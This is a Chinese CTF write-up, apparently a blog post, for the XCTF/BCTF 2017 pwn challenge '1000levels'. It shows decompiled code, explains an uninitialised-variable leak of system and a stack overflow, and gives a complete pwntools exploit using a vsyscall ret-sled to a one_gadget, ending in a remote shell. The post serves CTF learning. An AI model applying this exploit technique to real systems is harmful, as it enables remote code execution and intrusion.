[XCTF-pwn] 21_xctf-3rd-bctf-2017_1000levels

1000级的简版100级。

程序两个函数一个是给个提示,这时候会把system放到栈里(但没有输出),第二个是进行一个100层递归回答问题。

漏洞:

  1. hint函数在if前面将system放到栈里,这样system在栈里有残留
  2. 第2个漏洞是read有溢出,而且很长。

问题是这个题开启了随机化,这样题目加载地址、栈地址、libc加载地址都是随机的,这样就没有可写的东西了。

看来的思路:

  1. 在libc-2.23-0ubuntu9前,使用vsyscall这个东西的地址是固定的,其中第1个函数可以当滑板(相当于ret),这样填充适当的滑板到指定位置执行
  2. 残留的system在加上指定数字后得到one_gadget,利用未初始化指针v4和偏移将system改为one_gadget

先看下v4

int m1go()
{
  __int64 v1; // [rsp+0h] [rbp-120h]
  int v2; // [rsp+8h] [rbp-118h]
  int v3; // [rsp+Ch] [rbp-114h]
  __int64 v4; // [rsp+10h] [rbp-110h]
  __int64 v5; // [rsp+10h] [rbp-110h]
  __int64 v6; // [rsp+18h] [rbp-108h]
  char v7[256]; // [rsp+20h] [rbp-100h] BYREF

  puts("How many levels?");
  v1 = read_long();
  if ( v1 > 0 )
    v4 = v1;
  else
    puts("Coward");
  puts("Any more?");
  v5 = v4 + read_long();  //这里v4由于未初始化,ida会特意标所橙色,v1输入0会保留残留的system
  if ( v5 > 0 )
  {
    if ( v5 <= 99 )
    {
      v6 = v5;
    }
    else
    {
      puts("You are being a real man.");
      v6 = 100LL;
    }
    puts("Let's go!'");
    v2 = time(0LL);
    if ( (unsigned int)sub_E43((unsigned int)v6) )
    {
      v3 = time(0LL);
      sprintf(v7, "Great job! You finished %d levels in %d seconds\n", v6, (unsigned int)(v3 - v2));
      puts(v7);
    }
    else
    {
      puts("You failed.");
    }
    exit(0);
  }
  return puts("Coward Coward Coward Coward Coward");
}
_BOOL8 __fastcall sub_E43(signed int a1)
{
  __int64 v2; // rax
  __int64 buf[4]; // [rsp+10h] [rbp-30h] BYREF
  unsigned int v4; // [rsp+34h] [rbp-Ch]
  unsigned int v5; // [rsp+38h] [rbp-8h]
  unsigned int v6; // [rsp+3Ch] [rbp-4h]

  buf[0] = 0LL;
  buf[1] = 0LL;
  buf[2] = 0LL;
  buf[3] = 0LL;
  if ( !a1 )
    return 1LL;
  if ( !(unsigned int)sub_E43((unsigned int)(a1 - 1)) )
    return 0LL;
  v6 = rand() % a1;
  v5 = rand() % a1;
  v4 = v5 * v6;
  puts("====================================================");
  printf("Level %d\n", (unsigned int)a1);
  printf("Question: %d * %d = ? Answer:", v6, v5);
  read(0, buf, 0x400uLL);                       // 溢出
  v2 = strtol((const char *)buf, 0LL, 10);
  return v2 == v4;
}

递归有溢出很大但是递归会先调用100次入栈然后再退栈,所以先要处理完99次,在最后一次再溢出修改。

完整的exp:

from pwn import *

'''
需要在ubuntu16才能成功
'''

local = 0
if local == 1:
    p = process('./pwn')  #Ubuntu GLIBC 2.23-0ubuntu9
    libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")
    one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
    libc_start_main_ret = 0x20830
else:
    p = remote('111.200.241.244', 63367) 
    libc_elf = ELF('./libc.so')
    one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
    libc_start_main_ret = 0x20830

elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'

p.sendlineafter(b"Choice:\n", b'2') #hint
p.sendlineafter(b"Choice:\n", b'1') #go go.v4= system
p.sendlineafter(b"How many levels?\n", b'-1') #v4 = system

offset = one[0] - libc_elf.sym['system']
print('offset', offset)

p.sendlineafter(b"Any more?\n", str(offset).encode()) #v5=v4=one_gadget

#v5>99 v6=100
for i in range(99):
    p.sendafter(b'? Answer:', b'1'.ljust(0x24, b'\x00')+ p32(1))

'''
0x00007fffffffde10│+0x0080: 0x00007fffffffe0a0  →  0x0000000000000001
0x00007fffffffde18│+0x0088: 0x000003e8f7a8782b
0x00007fffffffde20│+0x0090: 0x0000000000000000                                                  buf
0x00007fffffffde28│+0x0098: 0x0000000000000000
0x00007fffffffde30│+0x00a0: 0x0000000000000000
0x00007fffffffde38│+0x00a8: 0x0000000000000000
0x00007fffffffde40│+0x00b0: 0x0000000000000000                                                   v4 v5
0x00007fffffffde48│+0x00b8: 0x00007fffffffdf80                                                   v6 i
0x00007fffffffde50│+0x00c0: 0x00007fffffffdf80  →  0x00007fffffffdfc0  →  0x0000555555554fd0     rbp
0x00007fffffffde58│+0x00c8: 0x0000555555554c74  →  <go()+248> test eax, eax                      ret
0x00007fffffffde60│+0x00d0: 0x0000000000000000                                                   .
0x00007fffffffde68│+0x00d8: 0x0000555561fbf026                                                   .
0x00007fffffffde70│+0x00e0: 0x00007ffff7a523a0  →  <system+0> test rdi, rdi 执行一次hint后v4对应位置被写上system地址,再通过偏移改为one
0x00007fffffffde78│+0x00e8: 0x00000000000003e8
0x00007fffffffde80│+0x00f0: 0x0000004e5546204f ("O FUN"?)
'''

#          buf                        v4     v5     v6     rbp    ret->vsyscall
#payload = b'1'.ljust(0x24, b'\x00') + p32(1)+p32(0)+p32(0)+p64(0)+p64(0xffffffffff600000)*3
payload = b'A'*0x38+p64(0xffffffffff600000)*3  #执行结束后在ret位置写vsyscall_gettimeofday当滑板,滑到one执行
p.sendafter(b'? Answer:', payload)
sleep(0.1)
p.sendline(b'cat /flag')
p.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值